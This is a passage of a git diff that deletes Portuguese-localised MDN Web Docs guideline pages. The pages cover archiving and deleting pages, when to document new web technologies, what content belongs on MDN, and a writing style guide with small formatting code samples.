  • Its defining spec is stable and unlikely to change.
  • -
- - - -

Páginas arquivadas

- -

Archived pages are pages that are stored in the MDN Archive of obsolete content. These pages contain information out-of-date enough that it is not directly useful to anyone anymore.

- -

Most commonly, these concern Mozilla projects that have been discontinued and shouldn't be relied on anymore. But we don't simply delete them because they form a useful historical record, and some of the patterns or ideas contained within might be useful for future work. A good example is the B2G (Firefox OS) project.

- -

Quando é que uma página deverá ser arquivada?

- -

A page should be archived if it fits the above description. To archive a page, you should use the "Move page feature" (Advanced > Move this article) to move the page into the Archive page tree (/en-US/docs/Archive). You might not have the permissions to use this feature, and before you start archiving pages you should discuss it with the MDN community first — talk to us on our Discourse forum.

- -

Páginas eliminadas

- -

Deleted pages are pages that have been explicitly deleted from MDN — see for example the SharedKeyframeList interface and SharedKeyframeList() constructor. These pages contain information that is not useful in any way anymore, and/or might be incorrect to the point where keeping it available might be confusing or bad for people to know.

- -

These might be:

- -
    -
  • Reference pages for API features that were removed from the specification before they were implemented in any browsers.
  • -
  • Articles covering techniques that were later shown to be bad practice and superceded by better techniques.
  • -
  • Articles containing information that were later replaced by other, better quality articles.
  • -
  • Articles containing content that is inappropriate for MDN.
  • -
  • Translations that are old, out-of-date, and difficult to fix, meaning that the English version is preferrable and starting a new translation would be an easier option.
  • -
- -

Quando é que uma página deverá ser eliminada?

- -

A page should be deleted if it fits the above description. To delete a page, you should use the "Delete this page feature" (Advanced > Delete this page) to delete the page. You will probably not have the permissions to use this feature, and when thinking about deleting pages you should discuss it with the MDN community first — talk to us on our Discourse forum.

- - - - - -

Quando documentar novas tecnologias

- -

On MDN, we are constantly looking to document new web standards technologies as appropriate. We try to strike a balance between publishing the documentation early enough so developers can learn about new features as soon as they need to, and publishing it late enough so that the technology is mature and stable so the docs won't need constant updates or rapid removal.

- -

In general, our definition of the earliest we'll consider documenting a new technology is:

- -

"When the feature is on a standards track and is implemented somewhere."

- -

You should definitely consider documenting a new technology if:

- -
    -
  • It is specified in a specification document published under a reliable standards organization (such as W3C, WHATWG, Khronos, IETF, etc.), which has reached a reasonable level of stability (e.g. a W3C working draft or candidate recommendation, or the spec is looking to be fairly stable judging by the flow of issues filed against it).
  • -
  • It is implemented consistently in at least one browser, with other browser developers showing signs of interest (such as an active ticket or "intent to implement" process in effect).
  • -
- -

You should be more wary of documenting a new technology (but should still consider it if it makes sense) if it:

- -
    -
  • Doesn't have a spec, or the spec is a rough note that looks liable to change.
  • -
  • One or zero browsers currently implement it, and non-supporting browsers are not showing signs of interest in implementing it (you can gauge this by asking engineers who work on those browsers, looking at browser bug trackers and mailing lists, etc.).
  • -
- -

You should not consider documenting a new technology if it:

- -
    -
  • Is not a web-exposed technology and/or is completely proprietary.
  • -
  • Is already showing signs of being deprecated, or superseded by a similar feature.
  • -
- - - -

Convenções

- -

Quando é removido algo da especificação

- -

Sometimes during the development of a new specification, or over the course of the evolution of living standards such as HTML, new elements, methods, properties, and so forth are added to the specification, stay there for a while, then get removed again. Sometimes this happens very quickly, and sometimes these new items remain in the specification for months or even years before being removed. This can make it tricky to decide how to handle the removal of the item from the spec. Here are some guidelines to help you decide what to do.

- -
-

For the purposes of this discussion, the word "item" is used to mean anything which can be part of a specification: an element or an attribute of an element, an interface or any individual method, property, or other member of an interface, and so forth.

-
- -
    -
  • If the item was never implemented in a release version of any browser—even behind a preference or flag—simply delete any references to the item from the documentation. - -
      -
    • If the item has any documentation pages describing only that one item (such as {{domxref("RTCPeerConnection.close()")}}), delete that page. If the removed item is an interface, this means removing any subpages describing the properties and methods on that interface as well.
    • -
    • Remove the item from any lists of properties, attributes, methods, and so forth. For methods of an interface, that means to remove it from the "Methods" section on the interface's overview page, for example.
    • -
    • Search the text of the overview page for that interface, element, etc. for any references to the removed item. Remove those references, being sure not to leave weird grammar issues or other problems with the text. This may mean not just deleting words but rewriting a sentence or paragraph to make more sense. It may also mean removing entire sections of content if the description of the item's use is lengthy.
    • -
    • Similarly, look for any discussion of the item in the guides and tutorials about the relevant API or technology. Remove those references, being sure not to leave weird grammar issues or other problems with the text. This may mean not just deleting words but rewriting a sentence or paragraph to make more sense. It may also mean removing entire sections of content if the description of the item's use is lengthy.
    • -
    • Search MDN for references to the removed item, in case there are discussions elsewhere. It's unlikely that there are, since if it was never implemented, it's unlikely to be widely discussed. Remove those mentions as well.
    • -
    • If the Browser Compatibility Data repository's JSON files contain data for the removed items, delete those objects from the JSON code and submit a PR with that change, explaining why in the commit message and the PR description. Be careful to check that you don't break the JSON syntax while doing this.
    • -
    -
  • -
  • If the item was implemented in any release version of any one or more browsers—but only behind a preference or flag—do not delete the item from the documentation immediately. Instead, mark the item as obsolete as follows: -
      -
    • If the item has any documentation pages describing only that one item (such as {{domxref("RTCPeerConnection.close()")}}), add the {{TemplateLink("obsolete_header")}} macro to the top of the page and add the {{tag("Obsolete")}} tag to the page's list of tags.
    • -
    • On the overview page for the element, interface, or API, find the list of items which includes the item that's been removed from the specification and add the {{TemplateLink("obsolete_inline")}} macro after the item's name in that list.
    • -
    • Search the informative text of the overview page for that interface, element, etc. for any references to the removed item. Add warning boxes in appropriate places with text along the lines of "[whatever] has been removed from the specification and will be removed from browsers soon. See [link to page] for a new way to do this."
    • -
    • Similarly, look for any discussion of the item in the guides and tutorials about the relevant API or technology. Add similar warnings.
    • -
    • Search MDN for references to the removed item, in case there are discussions elsewhere. Add similar warning boxes there as well.
    • -
    • At some point in the future, a decision may be made to actually remove the item from the documentation; we don't normally do this but if the item was especially unutilized or uninteresting, we may decide to do so.
    • -
    • Update any relevant entries in the Browser Compatibility Data repo to reflect the obsolescence of the item(s) affected.
    • -
    -
  • -
  • If the item was implemented in one or more release builds of browsers—without requiring a preference or flag to be changed—mark the item as deprecated, as follows: -
      -
    • If the item has any documentation pages describing only that one item (such as {{domxref("RTCPeerConnection.close()")}}), add the {{TemplateLink("deprecated_header")}} macro to the top of the page and add the {{tag("Deprecated")}} tag to the page's list of tags.
    • -
    • On the overview page for the element, interface, or API, find the list of items which includes the item that's been removed from the specification and add the {{TemplateLink("deprecated_inline")}} macro after the item's name in that list.
    • -
    • Search the informative text of the overview page for that interface, element, etc. for any references to the removed item. Add warning boxes in appropriate places with text along the lines of "[whatever] has been removed from the specification and is deprecated. It may be removed from browsers in the future, so you should not use it. See [link to page] for a new way to do this."
    • -
    • Similarly, look for any discussion of the item in the guides and tutorials about the relevant API or technology. Add similar warnings.
    • -
    • Search MDN for references to the removed item, in case there are discussions elsewhere. Add similar warning boxes there as well.
    • -
    • It's unlikely that these items will be removed from the documentation anytime soon, if ever. It's possible, however, that some or all of the material may be moved to the Archive section of the site.
    • -
    • Update any relevant entries in the Browser Compatibility Data repo to reflect the deprecation of the item(s) affected.
    • -
    -
  • -
- -

Please use common sense with wording of warning messages and other changes to text suggested by the guidelines above. Different items will require different wording and handling of the situation. When in doubt, feel free to ask for advice on the MDN Web Docs chat room on Matrix, or on the MDN Web Docs discussion forum.

- -

Copiar conteúdo dentro da MDN

- -

Sometimes, you need to reuse the same text on multiple pages (or you want to use one page's content as a template for another page). You have three options:

- -
    -
  • If you want to copy an entire page: -
      -
    1. While viewing the page you want to copy, on the Advanced (gear) menu, choose  Clone this page. This opens the editor UI for a new page, with the contents of the cloned page already populated.
    2. -
    3. Enter a new Title and Slug for the cloned page.
    4. -
    5. Edit the contents of the page as needed, and save as usual.
    6. -
    -
  • -
  • If you want to copy just part of a page, don't just visit the page and copy from it. This introduce unwanted additional bits of HTML into the destination page, and somebody will have to clean that up, you or another editor. Nobody wants that. To copy part of an MDN page to another page: -
      -
    1. On the source page, click the Edit button on the source page.
    2. -
    3. Copy the content you want to reuse from within the editor UI.
    4. -
    5. Click Discard to exit the editor UI for that page.
    6. -
    7. Open the editor UI for page where you want to paste.
    8. -
    9. Paste the content from the clipboard.
    10. -
    -
  • -
  • Sometimes you literally want to use the same content on many pages. In this case, you might be best off placing the content in one page, then using the {{TemplateLink("Page")}} macro to transclude the material from one page into another. This way, whenever the text on the source page is updated, the destination page will update as well (that is, this will happen on a forced-refresh or when the target page goes through a scheduled rebuild).
  • -
- -

Copiar conteúdo de outro lado

- -

Often, there is useful content about a topic somewhere on the web besides on MDN. However, copying such content can be fraught with difficulties, both legal and technical.

- -

On the technical level, search engines typically penalize a site in their rankings for reproducing content available elsewhere. Therefore, it is preferable to have original content on MDN, to enhance the search engine ranking of MDN's content. You can link to the existing content from MDN.

- -

On the legal level, you must be authorized to contribute the content, and it must be licensed and attributed in a way that is compatible with MDN's license.

- -
    -
  • If you created the existing content (for your own purposes and not as work-for-hire), and you are willing to contribute it to MDN under MDN's license, this is the easiest case, and you are free to contribute the content.
  • -
  • If the copyright for the content belongs to someone else, it must be licensed and attributed compatibly with MDN's license. It is often not easy for someone who is not a lawyer to determine what licenses are compatible. To be on the safe side, contact a member of the MDN staff team, who may consult Mozilla's Legal team for guidance if necessary.
  • -
diff --git a/files/pt-pt/mdn/guidelines/does_this_belong_on_mdn/index.html b/files/pt-pt/mdn/guidelines/does_this_belong_on_mdn/index.html deleted file mode 100644 index dc76b00182..0000000000 --- a/files/pt-pt/mdn/guidelines/does_this_belong_on_mdn/index.html +++ /dev/null @@ -1,201 +0,0 @@ ---- -title: Isto pertence aos MDN Web Docs? -slug: MDN/Guidelines/Does_this_belong_on_MDN -tags: - - Guía - - Linhas Diretrizes - - Metadados MDN -translation_of: MDN/Guidelines/Does_this_belong_on_MDN -original_slug: MDN/Guidelines/Isto_pertence_a_MDN ---- -
{{MDNSidebar}}
- -
{{IncludeSubnav("/pt-PT/docs/MDN")}}
- -

Neste artigo, irá encontrar informação a descrever como decidir se determinado tópico e/ ou tipo de conteúdo deverá ou não ser incluído na MDN Web Docs. Nós também iremos considerar outros lugares em que pode colocar o conteúdo, embora não em profundidade.

- -

A questão

- -

If you're preparing to document something, you may be trying to decide whether to put the information on MDN Web Docs. In addition, you may be considering maintaining documentation in your source code, putting the document on the Mozilla wiki, or in readme files in a Git repository. This article's purpose is to help you decide which of these options is right for your content.

- -

The two main considerations for whether a document belongs on MDN are:

- -
    -
  • The topic of the document (what is it about?)
  • -
  • The nature of the document (what kind of document is it?)
  • -
- -

Be aware that all contributions to MDN fall under specific open source licenses; these are described in detail on our About MDN page.

- -
-

Nota: Keep in mind that Mozilla's Websites & Communications Terms of Use are in effect when you use or contribute to MDN Web Docs. Review this document to ensure that you're aware of what can and cannot be posted on Mozilla sites.

-
- -

Que tópicos pertencem aos MDN Web Docs?

- -

In general, if it's an open web-facing technology, we document it on MDN. This means any feature that can used by Web developers creating sites and applications now and in the near future. If it is implemented by multiple browsers and either accepted as standard or is progressing towards standardization, then yes, definitely. If it is still very experimental and not implemented in multiple browsers and/or liable to change, then it is still suitable for inclusion, but may not be seen as a priority for the writer's team to work on.

- -

The primary focus is on front-end web technologies:

- - - -
-

Nota: Back-end technologies usually have their own documentation elsewhere that MDN does not attempt to supercede, although we do have some exceptions.

-
- -

Also welcome are topics that cut across technologies but are relevant to Web development, such as:

- - - -
-

Nota: MDN covers some non-standard features if they're exposed to the Web, especially if they find common usage; for example, we have documentation for WebKit-specific CSS properties.

-
- -

Que tópicos não pertencem aos MDN Web Docs?

- -

In general, anything that isn't an open web standard does not belong on MDN. The below sections provide more specifics.

- -

Produtos da Mozilla

- -

Documentation in this category includes information on both how to work with Mozilla products, as a developer, and how to contribute to these open-source projects.

- -

While MDN Web Docs contains a large quantity of Mozilla product documentation, the focus of new content development is on open web standards. We are in the process of determining what to do about this content, so it may not make sense to create new Mozilla product documentation on MDN Web Docs. If you are working on a Mozilla product (or project that may become a product), talk to a member of the MDN staff team to discuss possible avenues for documenting your product. Also, see the section on Cases for documenting elsewhere, below.

- - - -

E que mais?

- -

Other examples of inappropriate topics for MDN Web Docs:

- -
    -
  • Technology that is not exposed to the Web and is specific to a non-Mozilla browser.
  • -
  • Technology that is not related to the Web or Mozilla products.
  • -
  • Documentation for end-users; for Mozilla products, such documentation belongs on the Mozilla support site.
  • -
- -

Que tipos de documentos pertencem à MDN?

- -

In general, MDN is for product documentation, not for project or process documentation (except about MDN itself). So, if the document is about "how to use a thing" or "how a thing works" (where the "thing" is in one of the topic categories mentioned above), then it can go on MDN. But if it about "who's working on developing a thing" or "plans for developing a thing", then it shouldn't go on MDN. In that case, if the thing is being developed under the umbrella of Mozilla, then the Mozilla project wiki may be a good place for it.

- -

Here are some examples of types of documents that should not be placed on MDN:

- -
    -
  • Planning documents
  • -
  • Design documents
  • -
  • Project proposals
  • -
  • Specifications or standards
  • -
  • Promotional material, advertising, or personal information{{ref("*")}}
  • -
- -

Vantagens para documentar na MDN

- -

If you've determined that the documentation you want to write is appropriate in content and type for MDN, but you're still not sure whether MDN is the best place for it, read on.  There are a lot of good reasons to create documentation on MDN.

- -

Muitos escritores e tradutores

- -

The MDN community is big. We have a lot of people that participate in creating and maintaining content on MDN. With writers and editors on every continent (okay, maybe not Antarctica, but otherwise), there's a lot of value to the sheer volume of writers:

- -
    -
  • We have a paid staff of writers whose mission is to make sure that our content is as good as possible.
  • -
  • We have a core community of volunteers who contribute substantial amounts of content and can help you.
  • -
  • The MDN team can work with you to ensure that your documentation project is adequately staffed.
  • -
  • The broader MDN community also contributes enormously, from typo fixes to editorial reviews of your content.
  • -
  • The MDN Web Docs chat room offers a resource where you can talk to our writing community and get their advice, or recruit help with the production of or maintenance of your content.
  • -
  • Because we have contributors all over the world, there's always someone around, watching for problems and fixing them.
  • -
  • Our community of volunteers includes translators for many languages, who can help localize your documentation.
  • -
- -

Do you want your development team to be entirely responsible for the production of documentation? That's likely if your documentation is maintained elsewhere.

- -

Manutenção

- -

Because of the sheer number of contributors, there's usually someone on hand to watch for problems with your content: from spam control to copy-editing, things can happen around the clock. Here's just a taste of what our team can do:

- -
-
Delete spam
-
Spam happens. We deal with it.
-
Copy editing
-
You don't have to worry if your writing isn't as clear or precise as you'd like. We'll turn your prose into something other people can read.
-
Consistency of style
-
We'll ensure that your content is stylistically consistent not just within itself, but with the other documentation around it.
-
Content management
-
Our team will help ensure that the documentation is cross-linked with other relevant materials, that articles are put in the right places, and that menus and other infrastructure is built to make it easy to follow and understand.
-
Site and platform maintenance
-
MDN has both an IT team which keeps the site up, running, and secure, and a platform development team to maintain and enhance the platform on which the content is presented. You won't need to devote your own or additional resources to documentation infrastructure.
-
- -

Casos para documentação em qualquer outra parte

- -

There are also a few reasons you may be thinking about documenting your work somewhere other than MDN. Here are some of those reasons, and the pros and cons for each.

- -

Planos e processos

- -

Documentation for plans, processes, and proposals should never be put on MDN. That's pretty simple. If your project is part of Mozilla, you can put them on the Mozilla project wiki.

- -

O projeto está no GitHub

- -

Some of Mozilla's projects are hosted on GitHub, and GitHub offers its own wiki-like system for documentation. Some teams like to produce their documentation there. This is certainly fair and convenient if you're game to write your own docs; however, keep in mind that:

- -
    -
  • The MDN Web Docs team will probably not be able to help you. We don't generally participate in documentation work off MDN Web Docs; there are exceptions but they are exceptionally rare.
  • -
  • Cross-linking your documentation with other relevant materials may be difficult or impossible.
  • -
  • The content will not have consistent style with other documentation.
  • -
  • Your documentation loses discoverability by not being among other (Web or Mozilla) documentation.
  • -
- -

It's possible, of course, that these things don't bother you, or aren't a problem in your situation. Some teams don't mind writing and maintaining their own docs, or are working on code that has minimal documentation needs.

- -

Quer manter os documentos na fonte

- -

Some teams like to have their documentation in the source tree. This is particularly common with project internals and library projects.

- -

This approach has a couple of advantages:

- -
    -
  • It lets the developers document their technology as they code it, helping to ensure that the docs stay up to date with the code.
  • -
  • Docs can be subject to the same development and release processes as the code, including versioning.
  • -
- -

There are some drawbacks:

- -
    -
  • The MDN Web Docs team can't help you; even if the code is within Mozilla's source repository, the system of reviews and check-ins make it impractical for the docs team to participate.
  • -
  • You don't have easy tools for cross-linking with other relevant documentation. Cross-linking provides both context and additional important information to your readers.
  • -
  • Your documentation loses discoverability by not being among other documentation.
  • -
  • Even if you use conversion tools (like JavaDoc) to create Web-readable documentation, it won't be as attractive as what we can do on MDN Web Docs.
  • -
- -

Still, this can be a viable option (possibly even a good option) for some types of projects, especially small ones or those that aren't expected to get much interest.

- -

{{endnote("*")}} It's OK to put a limited amount of personal information on your MDN profile page. User profiles should reflect a human being, not a business or organization. A moderate degree of self-promotion is OK, but link-spamming is not. Please do not use your profile to upload personal photos or other irrelevant files.

diff --git a/files/pt-pt/mdn/guidelines/index.html b/files/pt-pt/mdn/guidelines/index.html deleted file mode 100644 index e4e220f1f4..0000000000 --- a/files/pt-pt/mdn/guidelines/index.html +++ /dev/null @@ -1,10 +0,0 @@ ---- -title: Linhas Diretrizes -slug: MDN/Guidelines -translation_of: MDN/Guidelines ---- -
{{MDNSidebar}}
{{IncludeSubnav("/pt-PT/docs/MDN")}}
- -

Estas linhas diretrizes proporcionam detalhes em como é que a documentação da MDN deverá ser escrita e formatada, bem como, é que deverá ser apresentado as nossas amostras de código e outro conteúdo. Ao seguir esta orientação, pode certificar-se de que o material que produz é simples e fácil de utilziar.

- -

{{LandingPageListSubpages}}

diff --git a/files/pt-pt/mdn/guidelines/writing_style_guide/index.html b/files/pt-pt/mdn/guidelines/writing_style_guide/index.html deleted file mode 100644 index 5cf076f6f5..0000000000 --- a/files/pt-pt/mdn/guidelines/writing_style_guide/index.html +++ /dev/null @@ -1,668 +0,0 @@ ---- -title: Guia de estilo de escrita -slug: MDN/Guidelines/Writing_style_guide -tags: - - Documentação - - Guia(2) - - Linhas Diretrizes - - MDN - - Metadados MDN -translation_of: MDN/Guidelines/Writing_style_guide -original_slug: MDN/Guidelines/Guia_de_estilo_de_escrita ---- -
{{MDNSidebar}}
- -

To present documentation in an organized, standardized, and easy-to-read manner, the MDN Web Docs style guide describes how text should be organized, spelled, formatted, and so on. These are guidelines rather than strict rules. We are more interested in content than formatting, so don't feel obligated to learn the style guide before contributing. Do not be upset or surprised, however, if an industrious volunteer later edits your work to conform to this guide.

- -

If you're looking for specifics of how a given type of page should be structured, see the MDN page layout guide.

- -

The language aspects of this guide apply primarily to English-language documentation. Other languages may have (and are welcome to create) style guides. These should be published as subpages of the localization team's page.

- -

For style standards that apply to content written for sites other than MDN, refer to the One Mozilla style guide.

- -

Básico

- -

The best place to start in any extensive publishing style guide is with some very basic text standards to help keep documentation consistent. The following sections outline some of these basics to help you.

- -

Page titles

- -

Page titles are used in search results and also used to structure the page hierarchy in the breadcrumb list at the top of the page. The page title (which is displayed at the top of the page and in the search results) can be different from the page "slug", which is the portion of the page's URL following "<locale>/docs/".

- -

Title and heading capitalization

- -

Page titles and section headings should use sentence-style capitalization (only capitalize the first word and proper nouns) rather than headline-style capitalization:

- -
    -
  • Correct: "A new method for creating JavaScript rollovers"
  • -
  • Incorrect: "A New Method for Creating JavaScript Rollovers"
  • -
- -

We have many older pages that were written before this style rule was established. Feel free to update them as needed if you like. We're gradually getting to them.

- -

Choosing titles and slugs

- -

Page slugs should be kept short; when creating a new level of hierarchy, the new level's component in the slug should just be a word or two.

- -

Page titles, on the other hand, may be as long as you like, within reason, and they should be descriptive.

- -

Creating new subtrees

- -

When you need to add some articles about a topic or subject area, you will typically do so by creating a landing page, then adding subpages for each of the individual articles. The landing page should open with a paragraph or two describing the topic or technology, then provide a list of the subpages with descriptions of each page. You can automate the insertion of pages into the list using some macros we've created.

- -

For example, consider the JavaScript guide, which is structured as follows:

- - - -

Try to avoid putting your article at the top of the hierarchy, which slows the site down and makes search and site navigation less effective.

- -

Sections, paragraphs, and newlines

- -

Use heading levels in decreasing order: {{HTMLElement("h2")}} then {{HTMLElement("h3")}} then {{HTMLElement("h4")}}, without skipping levels. H2 is the highest level allowed because H1 is reserved for the page title. If you need more than three or four levels of headers you should consider breaking up the article into several smaller articles with a landing page, linking them together using the {{TemplateLink("Next")}}, {{TemplateLink("Previous")}}, and {{TemplateLink("PreviousNext")}} macros.

- -

The Enter (or Return) key on your keyboard starts a new paragraph. To insert a newline without a space, hold down the Shift key while pressing Enter.

- -

Don't create single subsections -- you don't subdivide a topic into one. It's either two subheadings or more or none at all. 

- -

Don't have bumping heads, which are headings followed immediately by headings. Aside from looking horrible, it's helpful to readers if every heading has at least a brief intro after it to introduce the subsections beneath.

- -

Listas

- -

Lists should be written in a similar format across all contributions. Correct procedures should include suitable punctuation and sentence structure regardless of the list format. However dependent on the type of list you are writing, you must adjust your format accordingly. Refer to the documentation below to understand the differences of each.

- -

Bulleted Lists

- -

Bulleted lists should be used for grouping purposes to create concise but effective pieces of information. Each new piece of information must start with a '•' to signify a new piece. Bulleted lists must follow standard punctuation usage, pay attention to the use of full stops; they must be included at the end of each sentence just like standard writing practice.

- -

An example of a correctly structured bulleted list:

- -
-

In this example we should include:

- -
    -
  • A condition, with a brief explanation.
  • -
  • A similar condition, with a brief explanation.
  • -
  • -

    Yet another condition, some further explanation.

    -
  • -
-
- -

Note how the format remains the same from bullet to bullet. Create a bullet point, state a condition that has relevence to your indented topic and add some pausing punctuation in order to follow up the condition with a concise explanation.

- -

Listas Numeradas

- -

Instruction lists must follow suitable numbering and format. It is important to include these attributes as with instructions, being clear is a key priority. Create the list in a similar style to a bulleted list, however numbered or instruction lists can be extensive where necessary, meaning correct punctuation is vital as you will be forming complex sentences.

- -

An example of a correctly structured numbered list:

- -
-

In order for you to structure a correct numbered list you must:

- -

1. Begin with creating an introductory heading to lead into the instructions. This way we can provide the user with context before beginning the instructions.

- -

2. Start creating your instructions, listing your instructions with numbers. This is a standard format of a numbered list that is easily recognizable by the user. Your instructions may be quite extensive, so it is important to write effectively and use correct punctuation where necessary.

- -

3. After you have finished your instructions, close off the numbered list with a brief explanation of the outcome upon completion.

- -

This is an example of writing your closing explanation. We have created a short numbered list which provides instructive steps to produce a numbered list with the correct formatting. 

-
- -

Numbered lists are almost exclusive for instructive purposes, so before writing consider your approach based on the context of the information you are trying to relay.  

- -

Formatação e estilo do texto

- -

Use the "Formatting Styles" drop-down list to apply predefined styles to selected content.

- -
The "Note" style is used to call out important notes, like this one.
- -
Similarly, the "Warning" style creates warning boxes like this.
- -

Unless specifically instructed to do so, do not use the HTML style attribute to manually style content. If you can't do it using a predefined class, drop into {{IRCLink("mdn")}} and ask for help.

- -

Code sample style and formatting

- -

Tabs and line breaks

- -

Use two spaces per tab in all code examples. Indent the code cleanly, with open-brace ("{") characters on the same line as the statement that opens the block. For example:

- -
if (condition) {
-  /* handle the condition */
-} else {
-  /* handle the "else" case */
-}
-
- -

Long lines shouldn't be allowed to stretch off horizontally to the extent that they require horizontal scrolling to read. Instead, break at natural breaking points. Some examples follow:

- -
if (class.CONDITION || class.OTHER_CONDITION || class.SOME_OTHER_CONDITION
-       || class.YET_ANOTHER_CONDITION ) {
-  /* something */
-}
-
-var toolkitProfileService = Components.classes["@mozilla.org/toolkit/profile-service;1"]
-                           .createInstance(Components.interfaces.nsIToolkitProfileService);
-
- -

Inline code formatting

- -

Use the "Code" button (labeled with two angle brackets "<>") to apply inline code-style formatting to function names, variable names, and method names (this uses the {{HTMLElement("code")}} element). For example, "the frenchText() function".

- -

Method names should be followed by a pair of parentheses: doSomethingUseful(). The parentheses help differentiate methods from other code terms.

- -

Syntax highlighting

- -

Screenshot of the 'Syntax Highlighter' menu.Entire lines (or multiple lines) of code should be formatted using syntax highlighting rather than the {{HTMLElement("code")}} element. Select the appropriate language from the language list button (the one with the two code blocks), as seen in the screenshot to the right. This will insert a preformatted code box with line numbers and syntax highlighting for the chosen language.

- -

The following example shows text with JavaScript formatting:

- -
-
for (var i = 0, j = 9; i <= 9; i++, j--)
-  document.writeln("a[" + i + "][" + j + "]= " + a[i][j]);
-
- -

If no appropriate language is available, use ("No Highlight" in the language menu). This will result in code without syntax highlighting:

- -
x = 42;
- -

Syntax definitions

- -

If you want to insert a syntax definition, you can choose the "Syntax Box" option from the "Styles" drop-down menu in the editor toolbar. This will give the syntax definition a special formatting distinguishing it from normal code.

- -

Blocks not referring to code

- -

There are a few use cases where a <pre> block does not refer to code and doesn't have syntax highlighting nor line numbers. In such cases you should add a <pre> without class. Those cases include things like tree structures:

- -
root/
-
-    folder1/
-        file1
-
-    folder2/
-        file2
-        file3
-
- -

To create preformatted content without syntax highlighting and line numbers click the "pre" button in the toolbar. Then start to type the text.

- -

Styling HTML element references

- -

There are specific rules to follow when writing about HTML elements. These rules produce consistent descriptions of elements and their components. They also ensure correct linking to detailed documentation.

- -
-
Element names
-
Use the {{TemplateLink("HTMLElement")}} macro, which creates a link to the page for that element. For example, writing \{{HTMLElement("title")}} produces "{{HTMLElement("title")}}". If you don't want to create a link, enclose the name in angle brackets and use "Code (inline)" style (e.g., <title>).
-
Attribute names
-
Use bold face.
-
Attribute definitions
-
Use the {{TemplateLink("htmlattrdef")}} macro (e.g., \{{htmlattrdef("type")}}) for the definition term, so that it can be linked to from other pages, then use the {{TemplateLink("htmlattrxref")}} macro (e.g., \{{htmlattrxref("attr","element")}}) to reference attribute definitions.
-
Attribute values
-
Use "Code (inline)" style, and do not use quotation marks around strings, unless needed by the syntax of a code sample. For example: When the type attribute of an <input> element is set to email or tel ...
-
Labeling attributes
-
Use labels like {{HTMLVersionInline(5)}} thoughtfully. For example, use them next to the bold attribute name but not for every occurrence in your body text.
-
- -

Latin abbreviations

- -

In notes and parentheses

- -
    -
  • Common Latin abbreviations (etc., i.e., e.g.) may be used in parenthetical expressions and notes. Use periods in these abbreviations, followed by a comma or other appropriate punctuation. -
      -
    • Correct: Web browsers (e.g., Firefox) can be used ...
    • -
    • Incorrect: Web browsers e.g. Firefox can be used ...
    • -
    • Incorrect: Web browsers, e.g. Firefox, can be used ...
    • -
    • Incorrect: Web browsers, (eg: Firefox) can be used ...
    • -
    -
  • -
- -

In running text

- -
    -
  • In regular text (i.e., text outside of notes or parentheses), use the English equivalent of the abbreviation. -
      -
    • Correct: ... web browsers, and so on.
    • -
    • Incorrect: ... web browsers, etc.
    • -
    • Correct: Web browsers such as Firefox can be used ...
    • -
    • Incorrect: Web browsers e.g. Firefox can be used ...
    • -
    -
  • -
- -

Meanings and English equivalents of Latin abbreviations

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
AbbrevLatinEnglish
cf.confercompare
e.g.exempli gratiafor example
et al.et aliiand others
etc.et ceteraand so forth, and so on
i.e.id estthat is, in other words
N.B.nota benenote well
P.S.post scriptumpostscript
- -
-

Always consider whether it's truly beneficial to use a Latin abbreviation. Some of these are used so rarely that many readers won't understand the meaning, and others are often confused with one another. And be sure that you use them correctly, if you choose to do so. For example, be careful not to confuse "e.g." with "i.e.", which is a common error.

-
- -

Acronyms and abbreviations

- -

Capitalization and periods

- -

Use full capitals and delete periods in all acronyms and abbreviations, including organizations such as "US" and "UN".

- -
    -
  • Correct: XUL
  • -
  • Incorrect: X.U.L.; Xul
  • -
- -

Expansion

- -

On the first mention of a term on a page, expand acronyms likely to be unfamiliar to users. When in doubt, expand it, or, better, link it to the article or glossary entry describing the technology.

- -
    -
  • Correct: "XUL (XML User Interface Language) is Mozilla's XML-based language..."
  • -
  • Incorrect: "XUL is Mozilla's XML-based language..."
  • -
- -

Plurals of acronyms and abbreviations

- -

For plurals of acronyms or abbreviations, add s. Don't use an apostrophe. Ever. Please.

- -
    -
  • Correct: CD-ROMs
  • -
  • Incorrect: CD-ROM's
  • -
- -

"Versus", "vs.", and "v."

- -

The contraction "vs." is preferred.

- -
    -
  • Correct: this vs. that
  • -
  • Incorrect: this v. that
  • -
  • Incorrect: this versus that
  • -
- -

Capitalização

- -

Use standard English capitalization rules in body text, and capitalize "World Wide Web." It is acceptable to use lower case for "web" (used alone or as a modifier) and "internet;" this guideline is a change from a previous version of this guide, so you may find many instances of "Web" and "Internet" on MDN.  Feel free to change these as you are making other changes, but editing an article just to change capitalization is not necessary.

- -

Keyboard keys should use sentence-style capitalization, not all-caps capitalization. For example, "Enter" not "ENTER."

- -

Contrações

- -

Our writing style tends to be casual, so you should feel free to use contractions (e.g., "don't", "can't", "shouldn't") if you prefer.

- -

Pluralização

- -

Use English-style plurals, not the Latin- or Greek-influenced forms.

- -
    -
  • Correct: syllabuses, octopuses
  • -
  • Incorrect: syllabi, octopi
  • -
- -

Hifenização

- -

Hyphenate compounds when the last letter of the prefix is a vowel and is the same as the first letter of the root.

- -
    -
  • Correct: email, re-elect, co-op
  • -
  • Incorrect: e-mail, reelect, coop
  • -
- -

Idioma de género neutral

- -

It is a good idea to use gender-neutral language in any writing where gender is irrelevant to the subject matter, to make the text as inclusive as possible. So for example, if you are talking about the actions of a specific man, usage of he/his would be fine, but if the subject is a person of either gender, he/his isn't appropriate.
-
- Let's take the following example:

- -
-

A confirmation dialog appears, asking the user if he allows the Web page to make use of his Web cam.

-
- -
-

A confirmation dialog appears, asking the user if she allows the Web page to make use of her Web cam.

-
- -

Both versions are gender-specific. To fix this, use gender-neutral pronouns:

- -
-

A confirmation dialog appears, asking the user if they allow the Web page to make use of their Web cam.

-
- -
-

MDN allows the use of this very common syntax (which is controversial among usage authorities), to make up for the lack of a neutral gender in English. The use of the third-person plural as a gender neutral pronoun (that is, using "they," them", "their," and "theirs") is an accepted practice, commonly known as "singular 'they.'"

-
- -

You can use both genders:

- -
-

A confirmation dialog appears, asking the user if he or she allows the web page to make use of his/her web cam.

-
- -

making the users plural:

- -
-

A confirmation dialog appears, asking the users if they allow the web page to make use of their web cams.

-
- -

The best solution, of course, is to rewrite and eliminate the pronouns:

- -
-

A confirmation dialog appears, requesting the user's permission for web cam access.

-
- -
-

A confirmation dialog box appears, which asks the user for permission to use the web cam.

-
- -

The last way of dealing with the problem is arguably better, as it is not only grammatically more correct but removes some of the complexity associated with dealing with genders across different languages that may have wildly varying gender rules. This solution can make translation easier for both readers and localizers.

- -

Numbers and numerals

- -

Dates

- -

